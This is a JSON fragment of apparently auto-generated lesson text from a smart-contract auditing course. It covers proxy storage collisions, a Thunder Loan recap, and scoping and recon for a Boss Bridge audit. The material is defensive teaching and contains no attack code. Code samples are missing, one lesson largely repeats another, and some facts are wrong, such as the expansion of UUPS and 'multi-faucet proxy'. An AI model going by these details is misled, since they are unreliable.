becomes second nature.\n", + "updates": [] + }, + { + "lessonId": "c0fae74b-3866-49ff-98b8-42cd7c0ae3ce", + "number": 44, + "title": "Storage Collision: Diagram", + "slug": "exploit-storage-collision-diagram", + "folderName": "44-exploit-storage-collision-diagram", + "description": "", + "duration": 2, + "videoUrl": "dhuoCxUT1dYwkyqoVhWMIdNIg91ZB8Ww5AlZJMAXSgk", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/44-exploit-storage-collision-diagram/+page.md", + "markdownContent": "---\ntitle: Exploit - Storage Collision - Diagram\n---\n\n# Understanding Ethereum Smart Contract Proxies and Upgrades\n\nIn the exciting world of Ethereum smart contracts, the design pattern of using proxies for contract upgrades provides an effective solution to the otherwise immutable nature of contracts. However, this approach is not devoid of complexities, and amateur developers may often encounter problems with storage slots during contract upgrades. Let's delve into an illustrative example to understand better how this works.\n\n## Fundamentals of Proxy Interaction\n\nTo kick off, let's take a closer look at the basic principles of proxy interaction with smart contracts.\n\nTo put it simply, imagine we have an implementation contract. When a user executes a function, say `setValue(x)`, the call initially goes to the proxy. The proxy is programmed to look at the implementation contract for executing the function. For example, if our contract has an instruction to set its value to `x`, the logic gets sent to the proxy.\n\nOnce inside, the proxy modifies its internal state, storing the new value at a defined storage location. Typically, the first storage slot (slot 0) is used for this purpose.\n\nThis gives us a simplistic view of how the proxy pattern helps align storage with contract implementations.\n\n![](https://cdn.videotap.com/WUQkx9srA6tjA8Yo5lRL-42.36.png)\n\n## The Upgrade Process: What Happens within the Proxy\n\nNow let's see what happens when we decide to upgrade our contract.\n\nIn an upgrade scenario, the proxy points from implementation contract `A` to a new implementation contract `B`. However, the storage inside the proxy remains intact. It will simply start referring to the new contract to carry out its logic.\n\n> Note: The essence of the upgrade process is that the proxy's storage does not get changed or migrated. It just adopts a new source of instruction.\n\n![](https://cdn.videotap.com/gKwLO8tKUQsQFgdhAmZB-72.62.png)\n\n## Potential Issues with Storage Slot Misalignment\n\nThe seamless continuation of storage masks a potential pitfall – storage slot misalignment. If the new implementation isn't mindful of how the storage was structured in the previous implementation, chaos can erupt!\n\nLet's continue our example to see how. Our user calls `setValue(10)` which now points to logic `B`. If `B` has instructions that alter the storage structure like,\n\nIn this situation, `value` gets stored in slot 1 since `initialized` has taken up slot 0. Now, proxy's storage looks completely different with value 5 still in slot 0 and the new value of 10 in slot 1.\n\nStorage slot misalignment might result in overriding storage slots, uninitialized variables, and other issues leading to potential contract vulnerabilities.\n\n![](https://cdn.videotap.com/nvkgWHqUU232F6YtZgQD-111.95.png)\n\n## Diving Deeper with Remix\n\nTo see this in action and further understand, we can use Ethereum's browser-based IDE, [Remix](https://remix.ethereum.org/). In the follow-up post, we'll walk through an immersive hands-on example using Remix to intricately explore the subtleties of contract upgrades and proxy interactions. Stay tuned!\n", + "updates": [] + }, + { + "lessonId": "3bc7ad4f-9c3f-441c-921e-a3af7b50f5a9", + "number": 45, + "title": "Storage Collision: Remix Examplee", + "slug": "exploit-storage-collision-remix-examplee", + "folderName": "45-exploit-storage-collision-remix-examplee", + "description": "", + "duration": 4, + "videoUrl": "Ve7UtIWnU8btUpoL901HBjaaqSN006st9wo4nczp856fg", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/45-exploit-storage-collision-remix-examplee/+page.md", + "markdownContent": "---\ntitle: Exploit - Storage Collision - Remix Example\n---\n\n# Understanding the Storage Collision in Ethereum Smart Contracts\n\nIn this blog post, we're going to dive deep into understanding one of the common issues Ethereum smart contract developers encounter: the storage collision. In this exploration, we'll utilize Storage Collision, a contract we've sketched in Remix — an open-source tool developed by the Ethereum community to help you build smart contracts.\n\n## Introduction to Storage Collision Contract\n\nScroll down in the remix interface and you'll come across the Storage Collision contract. Opening this contract, there are quite a number of lines to dissect. You'll see a special type of contract called `proxy`. Its pivotal role is to call the `set implementation` function.\n\nThere are also helper functions in this contract whose primary task is to read data from the contract. For example, the `readStorage` function checks and fetches the value stored in a specific storage slot.\n\n## Implementation A and B and their peculiarities\n\nThe contract contains two distinct implementations labeled as `implementation A` and `implementation B`, mirroring what was shown in the initial diagram.\n\n- **Implementation A** has `value` located at storage slot zero.\n- **Implementation B** is a bit more complex with `initialized` at storage slot zero. By default, `initialized` should be `false`. But if there's a value in the corresponding slot, `initialized` becomes `true`.\n\n## Deployment and Compilation\n\nNext on the stop, is to compile and deploy these contracts: `Implementation A`, `Implementation B`, and `Storage Collision Proxy`. It's important to note that the `Storage Collision Proxy` is first associated with the contract address for `implementation A`.\n\nNow, we've set our Proxy to point to `implementation A` and we can interact with it accordingly.\n\n## Interacting with Implementation A\n\nTo do this, copy the Proxy address into `implementation A`, allowing us to work directly with `implementation A`.\n\nWhen we check the `value`, it reads '0' because we haven't assigned any value yet. But when we assign 15 to the `value`, the `value` in `implementation A` changes to 15.\n\nIt's worth noting that in solidity, anything aside from 0 is considered `true`. Hence, the `bool public initialize` in `implementation B` is expected to default to `false`. But let's see if that's the case.\n\n## Transition to Implementation B and the Twist\n\nSwitching to `Implementation B`, we change the implementation address in our `Storage Collision Proxy` and then inspect the `value`.\n\nSurprisingly, our `value` reads zero - this is because we have upgraded the contract. However, we can imitate the previous process with `implementation A` and interact with `implementation B`.\n\nWhen we call `initialized`, contrary to the default being `false`, it returns `true`. This happens because within the proxy, the `readStorage()` function is indicating that there's a '15' at storage slot zero.\n\nSince `initialized` is coupled to storage slot zero, the non-zero value makes it return `true`.\n\nThe next process is to set the `value` of `implementation B` to a new number, which affects the `storage slot one`.\n\nThe consequence of this action reveals a **storage collision**.\n\n> In essence, the 'storage collision' is a situation whereby values in the storage slots overlap as a result of an upgrade, causing unexpected changes in the system.\n\n## In Conclusion\n\nIn Ethereum smart contracts, collision issues are something we ought to be wary about. As we've noticed, our upgraded contract seems to be colliding due to these issues, causing unintended changes in the system. Careful architecture of contracts and more thorough analysis are needed to mitigate this risk. As always, understanding the underpinnings of the system and how actions interact with it is key to a successful deployment and operation of your Ethereum smart contracts.\n", + "updates": [] + }, + { + "lessonId": "d36939fe-b02e-45d5-9d22-4eba1bf60575", + "number": 46, + "title": "Storage Collision: Poc", + "slug": "exploit-storage-collision-poc", + "folderName": "46-exploit-storage-collision-poc", + "description": "", + "duration": 3, + "videoUrl": "DjxH2VIkbso7ztm1Mv1AIyUCROCftVZqQfrkBBFR1nI", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/46-exploit-storage-collision-poc/+page.md", + "markdownContent": "---\ntitle: Exploit - Storage Collision - PoC\n---\n\n# Code Proving 101: An In-Depth Walkthrough in Upgrading Solidity Contracts\n\nWelcome to our walkthrough of writing a proof-of-code for Solidity contracts. Here, we'll be outlining a detailed practice on how you can handle upgrades - an essential part of maintaining and improving smart contracts. The entire process is clear-cut, so don't be shy about getting your hands dirty with code.\n\n### The Test Unit\n\nConveniently, we'll be examining a test unit called Thunderlone, which has an upgrade function we will dissect. Below we will act as the owner of Thunderlone, including deploying a new logic address and making an upgrade proxy call.\n\nAt this point, we fetch the fee before making any changes and state a new `ThunderloneUpgraded`.\n\n![](https://cdn.videotap.com/KgYyc5GgyHgGV9f1xeiW-44.57.png)\n\nIntriguing right? But, not so fast! We’ve missed something vital. Just before diving to that, we ought to import the upgraded protocol at the top of the test page. Here, `ThunderloneUpgraded.sol` is the Solidity script that defines our `ThunderloneUpgraded` contract.\n\nWith that code added, we now have access to the `ThunderloneUpgraded` contract we instantiated earlier.\n\n### Handling the Upgrade\n\nThe next crucial part involves calling Thunderlone's upgrade function.\n\nFor our purpose, there's no data to call, hence the \"0x\". This function upgrades the proxy to the upgraded address, nifty right?\n\n### Assertions\n\nOnce we log the fees, we come to our final part - asserting that the `feeBeforeUpgrade` indeed changed from `feeAfterUpgrade`.\n\nThis simple test will tell if there is a discrepancy in the fees, which would mean our upgrade tinkered with more than it should have, causing storage collisions.\n\n### Running the Tests\n\nWe are now ready to run this forge test. It's pretty scary how such small changes can end up making mega alterations, right?\n\nKeep crafting your test units as you explore the vast world of Solidity. Don't be too hard on yourself; it takes a few trial and errors before you become a pro! And remember, learning is a never-ending journey. :)\n\nHappy testing!\n", + "updates": [] + }, + { + "lessonId": "58af1688-efa6-4821-86af-6adce089437c", + "number": 47, + "title": "Reporting: Storage Collision", + "slug": "exploit-storage-collision-write-up", + "folderName": "47-exploit-storage-collision-write-up", + "description": "", + "duration": 7, + "videoUrl": "2vM1n1LgRGWdIWrYSTOwO4PJjFQ5yjDMycUmO00noceI", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/47-exploit-storage-collision-write-up/+page.md", + "markdownContent": "---\ntitle: Exploit - Storage Collision - Write Up\n---\n\n# Debugging and Improving Your Solidity Code with Thunder Loan\n\nIn this blog post, we will take a closer look at how to test, debug and improve your Solidity code, using our Thunder Loan example. Solidity, for those who are less familiar, is a statically typed, contract-oriented, high-level language whose syntax is similar to that of JavaScript and it is designed to target the Ethereum Virtual Machine.\n\nLet's dive right into it.\n\n## Starting with the Git Checkout and Stashing Changes\n\nFirst, let's pull up our Thunder Loan test. After reviewing the code, it is advisable to stash your changes. Stashing is a great feature of Git that allows you to take a snapshot of your current changes, store them off to the side on a stack of unfinished changes, and then reapply them later.\n\nAfter stashing, I switch the currently active branch to 'demo' using git checkout command.\n\n## Understanding the Impact and Likelihood of Issues\n\nBefore wrapping things up, it is essential to consider the impact and likelihood of the issue in question.\n\nIn our current setting, the impact is high; primarily because the upgrade could potentially lead to what is referred to as a 'storage collision'; a serious problem whereby addresses of storage variables overlap, causing unexpected behaviours. These could inadvertently skew the fees associated with our Thunder Loan.\n\n![](https://cdn.videotap.com/MJYevuA6WF1Wcqj3AgIR-148.52.png)\n\nThe likelihood of this occurring can be medium to low. However, it tends to lean towards a higher likelihood considering that an upgrade was planned.\n\nThe key here is to understand your protocol's likelihood and impact of the storage collision issues, which is a very common pain-point when it comes to proxy contract upgrades.\n\n## Identifying the Root Cause\n\nA root cause analysis reveals that variable location mix-ups can result in storage collisions. In our Thunder Loan case, the problem arises in the _Flash Loan fee_ and the process of _Flash Loaning_. The severity of this problem means that it could potentially paralyze the entire protocol due to the storage location mismatches.\n\nAn example of wrongly mapped variable storage location is as follows:\n\nWhile for the upgraded contract, `thunderloanupgraded.sol`, the storage layout difference is slightly different:\n\nStorage location inconsistencies not only directly impact your protocol's modification, but they can also freeze up the protocol.\n\n## Potential Mitigations and Recommendations\n\nTo mitigate such an issue, it is recommended to maintain constant variables when removing and introducing storage variables.\n\n![](https://cdn.videotap.com/EsivAEC6dyzbBCAvtsGP-267.33.png)\n\nThis recommendation is based on the understanding that storage layouts are very important to the solidity coding structure – modifying them could lead to unexpected errors.\n\nYou can compare the storage layout difference by running the commands:\n\nIf a storage variable must be removed, leave a blank to avoid messing up the storage slots. Here's what it would look like:\n\n## Wrapping Up\n\nIn this post, we have walked through not just the intricacies of debugging and improving solidity code, but also the complexities that proxy contracts introduce. It's no surprise that some developers see proxies as a necessary evil while others view them as progress in the smart contract sphere.\n\nWhether you side with the 'Bad News Bears' or 'Great Progress' team, we strongly encourage you to share your view in our ongoing community discussion!\n\nAs for our next step with Thunder Loan, that will largely consist of doing the reporting. Stay tuned for more updates in that regard. Happy coding until then!\n", + "updates": [] + }, + { + "lessonId": "0999f95c-f86e-4739-824d-8565169cfe2f", + "number": 48, + "title": "Wrapping Up", + "slug": "wrapping-up", + "folderName": "48-wrapping-up", + "description": "", + "duration": 2, + "videoUrl": "un3Q5qFoTpb7xNzlxhxL2019n7iRzPk1tonjNREHf700o", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/48-wrapping-up/+page.md", + "markdownContent": "---\ntitle: Wrapping Up\n---\n\n# Debugging and Improving Your Solidity Code with Thunder Loan\n\nIn this blog post, we will take a closer look at how to test, debug and improve your Solidity code, using our Thunder Loan example. Solidity, for those who are less familiar, is a statically typed, contract-oriented, high-level language whose syntax is similar to that of JavaScript and it is designed to target the Ethereum Virtual Machine.\n\nLet's dive right into it.\n\n## Starting with the Git Checkout and Stashing Changes\n\nFirst, let's pull up our Thunder Loan test. After reviewing the code, it is advisable to stash your changes. Stashing is a great feature of Git that allows you to take a snapshot of your current changes, store them off to the side on a stack of unfinished changes, and then reapply them later.\n\nAfter stashing, I switch the currently active branch to 'demo' using git checkout command.\n\n## Updating the Protocol\n\nNext, I paste our Proof of Concept (POC) into the current branch. For this, the Thunder Loan upgraded protocol needs to be imported from the respective source folder.\n\nThe code for this would look like:\n\nAt this point, a test run is required to ensure everything runs smoothly.\n\nThis command runs the test that we just added, confirming its successful implementation.\n\n## Understanding the Impact and Likelihood of Issues\n\nBefore wrapping things up, it is essential to consider the impact and likelihood of the issue in question.\n\nIn our current setting, the impact is high; primarily because the upgrade could potentially lead to what is referred to as a 'storage collision'; a serious problem whereby addresses of storage variables overlap, causing unexpected behaviours. These could inadvertently skew the fees associated with our Thunder Loan.\n\nThe likelihood of this occurring can be medium to low. However, it tends to lean towards a higher likelihood considering that an upgrade was planned.\n\nThe key here is to understand your protocol's likelihood and impact of the storage collision issues, which is a very common pain-point when it comes to proxy contract upgrades.\n\n## Identifying the Root Cause\n\nA root cause analysis reveals that variable location mix-ups can result in storage collisions. In our Thunder Loan case, the problem arises in the _Flash Loan fee_ and the process of _Flash Loaning_. The severity of this problem means that it could potentially paralyze the entire protocol due to the storage location mismatches.\n\n## Potential Mitigations and Recommendations\n\nTo mitigate such an issue, it is recommended to maintain constant variables when removing and introducing storage variables.\n\n![](https://cdn.videotap.com/MJYevuA6WF1Wcqj3AgIR-148.52.png)\n\nThis recommendation is based on the understanding that storage layouts are very important to the solidity coding structure – modifying them could lead to unexpected errors.\n\n## Wrapping Up\n\nIn this post, we have walked through not just the intricacies of debugging and improving solidity code, but also the complexities that proxy contracts introduce. It's no surprise that some developers see proxies as a necessary evil while others view them as progress in the smart contract sphere.\n\nWhether you side with the 'Bad News Bears' or 'Great Progress' team, we strongly encourage you to share your view in our ongoing community discussion!\n\nAs for our next step with Thunder Loan, that will largely consist of doing the reporting. Stay tuned for more updates in that regard. Happy coding until then!\n", + "updates": [] + }, + { + "lessonId": "04952e33-4469-4ae7-8848-e964fc003ee4", + "number": 49, + "title": "Section 6 Recap", + "slug": "section-6-recap", + "folderName": "49-section-6-recap", + "description": "", + "duration": 6, + "videoUrl": "X02Z901eEf1F4TaMTbnG3VY31sCSEwFmxwmL8rpslepto", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/49-section-6-recap/+page.md", + "markdownContent": "---\ntitle: Section 6 - Recap\n---\n\n.\n\n## Unraveling the Flash Loans on Thunder Management Protocol\n\nFirstly, let's talk about flash loans, the key feature of the Thunder Management Protocol. Flash loans are innovative DeFi tools that allow users to borrow substantial amounts of assets for one single transaction. They have gained prominence due to their significant use in arbitrage opportunities, previously only utilized by prolific investors, fondly known as 'whales'. With flash loans, however, anyone can seize these golden opportunities.\n\n![](https://cdn.videotap.com/XdZhyn8C3rqPpi7yPlNe-50.31.png)\n\n> \"Flash loans are phenomenal DeFi primitives turning anyone into a whale.\"\n\nAs security researchers, we recognize the importance of understanding top protocols like Aave and Compound. This foundational knowledge provides us with necessary context for quicker and more efficient future project comparisons. Moreover, we've realized using an AMM(Automated Market Maker) or a DEX(Decentralized Exchange) protocol as a pricing oracle is a poor choice. Instead, a decentralized price feed like Chainlink should be on your go-to list for robust and secure oracle solutions.\n\n## Shedding Light on Proxies and their Risks\n\nWe discussed the significant implications of utilizing proxies in contract development, particularly UUPS(Upgradable Unambiguous Proxy Standard). Proxies can lead to dreaded risks such as centralization and storage collisions if not handled carefully. However, our discussion did not extensively cover the transparent proxy or the multi-faucet proxy—important topics available for further research.\n\n![](https://cdn.videotap.com/rq3TwsRcnxoecVEB3Kir-138.35.png)\n\nOne intriguing topic we brushed upon is 'malicious scope'. Sometimes, while auditing a codebase, a protocol might ask you to ignore auditing a certain part. Interestingly, that often is the part housing the rug pull. As analysts, it's important to snuff out such malicious intentions. If you keep missing the red flags and all audited projects end in rug pulls, it reflects poorly on your auditing abilities. At the very least, all potential risks should be plainly stated in the audit report, serving as a potential alarm for the readers.\n\n## Introduction to Useful Tooling and Strategies\n\nExploring some handy tools, we touched briefly upon Upgrade Hub, a powerful tool highlighting how often protocols have undergone silent upgrades—some rather misleading ones, though. In addition, we dug into some fascinating exploits, especially the infamous failure to initialize contracts. Important note: always ensure contracts you're analyzing or designing have a method deployed to authenticate contract initializations.\n\n![](https://cdn.videotap.com/WZFqXvkBGJ6wgC3VdPJ0-188.65.png)\n\nTalking about the infamous Oasis case study, it served as a prime example demonstrating the repercussions of protocol centralization, reminding us of the potential rug pull danger lurking beneath the surface of centralized architectures. Remember to signal such major centralization risk in your audit reports.\n\nAnother important topic was Oracle and price manipulations. A considerable number of Oracle manipulation attacks pose high risks, reinforcing our advice not to use an AMM as your pricing Oracle.\n\nWe concluded our section with design patterns, aiding in understanding the underlying operational concepts in smart contract development.\n\n## Concluding Remarks and How to Move Forward\n\nAdmittedly, this section is information-dense and might seem confusing at first glance. However, remember to interact with fellow developers, share insights, ask questions, and contribute to discussions on platforms such as our Cypher Updraft community. You’ll find yourself gradually familiarizing with the concepts, making them seem less daunting.\n\n![](https://cdn.videotap.com/aXjjMtL66bz5IgquDe55-264.12.png)\n\nOnwards, we're heading to section seven, offering riveting insights about Boss Bridge and its inner workings. It's going to be an intriguing journey into Yul and Assembly's realm—an important break from our previous section.\n\nA massive thank you to everyone following along on this informative journey. Your perseverance and eagerness to learn have made this adventure fun and informative, equally. Remember, it's okay to take a breather, get some coffee, maybe go for a good workout, rest, and come back ready to dive deeper into this fascinating world of blockchain and smart contracts.\n\nOkay then, are we ready to dive into section seven? Great! Let’s begin our exploration.\n\n![](https://cdn.videotap.com/i3PPe1YFwpZgqTiGNVBF-314.42.png)\ns\n", + "updates": [] + } + ] + }, + { + "number": 7, + "sectionId": "3753a05a-5de5-4b4b-9766-5e1a75eb1d73", + "title": "Boss Bridge", + "slug": "bridges", + "folderName": "7-bridges", + "lessons": [ + { + "lessonId": "0f5c515e-a28a-4a32-abcc-1e81b432b1b8", + "number": 1, + "title": "Introduction", + "slug": "part-intro", + "folderName": "1-part-intro", + "description": "", + "duration": 5, + "videoUrl": "UOd1naVgBvDrM6bfbDEunjXlMo4rq7HqvZ0002Ree102Zs", + "rawMarkdownUrl": "/routes/security/7-bridges/1-part-intro/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n\n\n\n---\n\n# Unveiling Section Seven of Security and Auditing EVM DeFi: A Comprehensive Security Review\n\nWelcome back, enthusiastic coders! Brace yourselves for an exciting deep dive into Section Seven of the Security and Auditing EVM DeFi. In this intriguing space, we are going to roll up our sleeves and immerse in not less than five detailed security reviews or audits. Stay tuned for more in part two as well.\n\n## Flashback to Thunder Loan\n\nWe have recently waved goodbye to the thrilling Thunder loan security review and audit, an eye-opener in the world of Decentralized Finance (DeFi). The concept explored here, ranging from flash loans to Oracle manipulation encapsulates the primary attacks presently haunting DeFi.\n\n![](https://cdn.videotap.com/j6Dr40RzmumPq9jhPJY3-36.13.png)\n\n### New Concepts Unfolded\n\nOur journey shed light on a multitude of aspects essential for better understanding the DeFi landscape, including price Oracle manipulation, reward manipulation, insufficient function access control, and a gamut of logic errors, function parameter validation, misconfigurations and reentrancies.\n\nWhile these are considerable advancements, we are yet to uncover every crevice of the DeFi sphere. More obscure areas, such as governance attacks and stolen private keys, are yet to be traversed. Fortunately, we will unveil these mysteries and delve deeper into the riveting world of DeFi security in this seventh chapter.\n\n## Sneak Peek into Section Seven\n\nPrimarily, we will scrutinize the Seven Boss Bridge audit code base, currently available for the first flight on the [CodeHawks platform](https://www.codehawks.com).\n\n![](https://cdn.videotap.com/LLXHIyWzga7BHJru6Wjv-90.31.png)\n\n### The Power of CodeHawks\n\nRemember, reading and evaluating security reviews is an effective way to level-up your skills. If tech-upscaling piques your interest, Code Hawks curates a vast array of first flights that are worth exploring. Furthermore, signing up for CodeOx posts and participating in competitive audits can be quite advantageous.\n\n### Repo Overview and Tooling Upgrades\n\nExploring this chapter's repo, we will first notice two conventional branches: `main` and `audit data`, where `audit data` hosts the answer keys (no peeking!).\n\nWe will explore varying Ethereum Virtual Machine (EVM) chains such as Arbitrum, Optimism, ZKSync, and Ethereum. We will ponder whether these are analogous or have unique features that set them apart.\n\nFurthermore, we will explore tools, Tenderly and Solidit, which will aid us in streamlining our code review process.\n\n### The Hans Checklist: A Systematic Approach to Coding Reviews\n\nNext, we delve into a novel system for conducting smart contract security reviews: the Hans Checklist.\n\nTowards the end of this section, we'll break down Hans' trend-setting checklist methodology, which helped him ascend to the rank of top competitive auditor globally for the first half of 2023.\n\n## The Classic Security Review Steps and Exciting Case Studies\n\nAs before, we will follow the classical method for security reviews, incorporating scoping, reconnaissance, vulnerability identification, writeups, and reporting. We will also look at the intriguing case studies based on various chains, including Polygon, ZK Sync, and how different chains actually work with different opcodes.\n\nIn this part, we will focus more on bridge hacks as these were rampant in the year 2022. Most bridge hacks we noticed unfortunately happened due to centralized controls and the loss of private keys, leading to bizarre exploitations.\n\nWe will also study several exciting exercises that include researching some attacks and doing write-ups on them. Some significant aspects would be Signature Replay, merkel tree, signature issues, polygon double spend, and nomad bridge hack.\n\n## Onwards with the Contract Scoping Phase\n\nFinally, after discussing the technicalities, we will commence with the scoping phase of the contract that will be considerably quicker this time. Following the scoping, we will move on to the actual security review of the contract.\n\nRemember, there are conceivably more issues than we cover. Thus, if you stumble across some extra issues, don't hesitate to share your insights!\n\nBrace yourselves—with all that we have in store, we're sure to add significant value to your coding and auditing skills, inspiring you to dive deeper into the mesmerizing world of coding.\n", + "updates": [] + }, + { + "lessonId": "d52feb22-38e1-4616-b8e6-274c58a892b6", + "number": 2, + "title": "Phase 1: Scoping", + "slug": "phase-1-scoping", + "folderName": "2-phase-1-scoping", + "description": "", + "duration": 6, + "videoUrl": "CrqWU5yUS69Y00Jzrrr6Rc1pc4t5uUX00sMtUNPcNUKas", + "rawMarkdownUrl": "/routes/security/7-bridges/2-phase-1-scoping/+page.md", + "markdownContent": "---\ntitle: Phase 1: Scoping\n---\n\n_Follow along with the video lesson:_\n\n\n\n---\n\n# Kick-starting our Security Audit: The Boss Bridge Project Case Study\n\nIn this extensive blog post, we're going to dive into the world of security auditing, using an example project: Boss Bridge. We'll begin in a familiar place, assuming you've just downloaded the project through GitHub, opened a fresh VS Code window, and you're ready to explore.\n\n## Getting Started: The Importance of Pre-boarding\n\nWhen auditing any project’s codebase, a key step in your preparation should be notetaking: scribbling down your thoughts, ideas and key points in your 'notes' section or equivalent. Think of it as your own personal checkpoint system.\n\nAs you delve further into the codebase, your entity list should grow into a robust compilation. This helps keep track of vulnerabilities, concepts to revisit, and potential threat vectors that could minimise attacks. Just like a detective unravelling the clues, your notes provide the foundation of a thorough investigation.\n\n## Understanding the project scope\n\nOnce you've downloaded the code, the next step is to determine the overall project scope. Begin by investigating the 'src' folder, opening the README file, and understand its core facets.\n\n![](https://cdn.videotap.com/Z6FwLQhDRCyW6ZPk1OQ4-80.11.png)\n\nTo determine the full extent of the project, you'll need to scrutinize the audit scope details particularly. Here, you'll uncover details of the commit hash, the contracts and tokens, any unusual behaviors, and even the expected deployment chains.\n\n### Holler Out for More Information\n\nDon't hesitate to reach out if you need additional data. Developing a comprehensive understanding of this project is pivotal, and while speed is critical, you want to ensure you aren't missing critical elements. Request more diagrams, data, and subsequent supporting information as needed.\n\n### An Overview of the Contracts\n\nFrom our initial study, we gather that our contracts will deploy to the Ethereum Mainnet. Interestingly, we're deploying a new entity, `tokenfactory.sol`, for the first time to ZKsync era.\n\n![](https://cdn.videotap.com/SYHd0AD9SPTDOeE3c8j6-148.78.png)\n\nYou will notice several roles or 'actors', one of which has the authority to pause and unpause the bridge in event of an emergency - a common design pattern known as the Emergency Stop pattern.\n\n## Acknowledging known issues\n\nFrom the outset, it's evident that there's an element of centralization with the project. This sort of authority vested with an individual or a single entity has its own pros and cons. On one hand, it's beneficial for effective and quick resolution of discrepancies. On the other, it tends to undermine the fundamental principle of blockchain's decentralization. However, such centrality aspects could be disregarded in a competitive audit.\n\nUpon further review, we notice that zero-address checking seems to be intentionally disabled, presumably to save gas. Also, there are some magic numbers that, instead of being recognized as constants, have been distinguished as literals.\n\nDespite these hiccups, it's clear that the protocol has a decent understanding of 'weird ERC20s'. They've incorporated `make slither` and `make aderyn` into the codebase as tools, key signs of protocol's awareness towards security.\n\n## Checking Code Coverage\n\nTo get an idea of the code coverage, we need to install the necessary libraries and run `forge coverage`. While our coverage might not be exhaustive, it could be considerably better. The `tokenfactory` is fully covered. However, the `vault` entity misses out entirely, which might result in several attack vectors.\n\n![](https://cdn.videotap.com/gS0LrDyx1XBys7mxdaUB-240.33.png)\n\nIn such scenarios, stateful fuzzing test suites could compensate for the shortcoming in manual reviews. At the moment, this approach is increasingly becoming a standard requirement for security.\n\n## Running Solidity Metrics\n\nFinally, as part of your project scope, remember to run a couple of tools – even if it blurs into vulnerability identification. This instance of the project has a complexity score of 106 and 101 lines of code – nearly half the size of the Thunder Loan project, which makes it quite simple to work through.\n\nWith this comprehensive understanding of the README and documentation, it's time to start your reconnaissance. From here on, with the context you've gained from the project scope, you're ready to probe further and uncover potential vulnerabilities and exploits.\n\nHappy auditing!\n", + "updates": [] + }, + { + "lessonId": "846a626f-c44a-4167-9988-cdaedce16969", + "number": 3, + "title": "Phase 2: Recon", + "slug": "recon", + "folderName": "3-recon", + "description": "", + "duration": 2, + "videoUrl": "ivB900sX48JF7N02aUvOS01U7Lg1LnDddOWYfHTeVGDGlI", + "rawMarkdownUrl": "/routes/security/7-bridges/3-recon/+page.md", + "markdownContent": "---\ntitle: Recon\n---\n\n\n\n---\n\n# Static Analysis of Ethereum Smart Contracts\n\nOne of the first steps in smart contract auditing involves the use of static analysis tools. These tools can scan your codebase and identify potential issues such as vulnerabilities, bugs, or deviations from best practices. This blog post will provide a detailed walkthrough of static analysis, using `make slither` and `make aderyn` commands as primary examples of tools that we can use.\n\n## Reading The Documentation\n\nThe first step on this journey of static analysis will always be reading the documentation of the tool that you want to use. Why is this? Because it will help you understand the full capabilities of these tools. Despite this, the documentation step is often overlooked, so do remember to pay special attention to it.\n\nToday, however, after a quick glance over the user manual, I am eager to dive straight into the codebase. Brace yourself for some adventurous code auditing!\n\n## Running Static Analysis Tools\n\nIn this scenario, I've decided to start by running my static analysis tools.\n\n![](https://cdn.videotap.com/WV5JlvHe6ylxiE7aFko2-12.35.png)\n\nThe command to initiate the process is `make slither`. This should be run as a baseline test for any codebase under scrutiny. As devs, it's our responsibility to ensure a codebase complies with best practices.\n...\nIt turns out the codebase is riddled with issues. But no worries – this is what we signed up for. Let’s dive deeply into these issues shortly.\n\nNext, it's time to run the `make aderyn` command to get a secondary report:\n\n## Analyzing the Report\n\nNow we have the `report.md` ready. Time to examine its findings.\n\n![](https://cdn.videotap.com/l0Mt9wevI06wPhE5FmZS-38.8.png)\n\nA sneak peek into the report reveals some medium-grade issues. Let's examine them closely:\n\n- **Centralized Risk** - The contract has a centralized risk problem. Despite the fact that blockchain was built on the pillars of decentralization, many developers fall into the trap of creating contracts that rely on central authority.\n- **Unsafe ERC20 operations** - The contract uses unsafe ERC20 operations. This is a big no-no.\n\n> \"ERC20 operations should not be used. The return values are not always meaningful. It is recommended to use [OpenZeppelin's SafeERC20 library](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol)\".\n\n- **Missing zero address checks** - The contract does not have zero address checks.\n- **Functions could be marked external** - There are functions which are not used internally, these could be marked external which could save some gas.\n- **Undefined constants** - The contract uses magic numbers instead of defined constants.\n- **Incorrect events** - Events in the contract are not defined correctly.\n\nThe report from Aderyn is full of useful insights. They will all be copied and pasted into their rightful sections in the final report.\n\n## Reconnaissance\n\nFinally, it's time for reconnaissance. I pondered over whether to do the `Tincho`, which analyzes the contracts from the least to the most complex. Since there are only four contracts, I opted to forgo creating a new sheet for documentation.\n\nStay tuned for further posts to unveil the specifics of each of these issues, and the steps taken to mitigate them.\n", + "updates": [] + }, + { + "lessonId": "79941ec5-6897-46fd-a326-69e439282e2c", + "number": 4, + "title": "Checklist", + "slug": "checklist", + "folderName": "4-checklist", + "description": "", + "duration": 4, + "videoUrl": "x5BUf3muNj01dX5CBkhrVcXFhl0236gYCgzGfX2uNr7xA", + "rawMarkdownUrl": "/routes/security/7-bridges/4-checklist/+page.md", + "markdownContent": "---\ntitle: Checklist\n---\n\n\n\n---\n\n# The Ultimate Auditor’s Checklist Method: The Hans\n\nHave you ever wondered about the techniques that a talented and successful auditor uses (like the No.1 Web3 auditor, Hans), to keep everything organized? Well, wonder no more. Today, we are going to discuss an important tool Hans uses, a highly comprehensive checklist that we will explore here. The information might astonish you, so now is the time to buckle up for an Audit Adventure.\n\n![](https://cdn.videotap.com/tXeWNgj1dZEkapH1ksfB-13.48.png)\n\n## The Power of a Checklist\n\nThe power of a checklist lies in the precision it can bring to a potentially massive process. By breaking down what might otherwise feel like a daunting task into structured and doable segments, checklists allow us to tread with confidence. Entertainment tech giant GitHub has embraced this approach by maintaining a repository-driven checklist entitled \"audit checklist\" for performing code audits.\n\n> The checklist is part of an extensive repertoire of different attacks complete with links to Solidit, where these attacks have been reported, their implications and much more. Initially, it is in the JSON format, but will soon be hosted on Solidit for an enhanced user-friendly experience.\n\nYou can view and utilize this effective tool [here](https://github.com/Cyfrin/audit-checklist).\n\n![](https://cdn.videotap.com/Os7tDGbFK1OTvjjccMdx-60.68.png)\n\n## Diving into the Checklist\n\nThe checklist dives instinctively into an attacker's mindset and focuses on a list of general checks for common attack types. Each section is meticulously designed to guide you through the audit process, complete with descriptions, remedial advice, references to potential attacks, and tags.\n\nFor instance, a section on \"Reentrancy 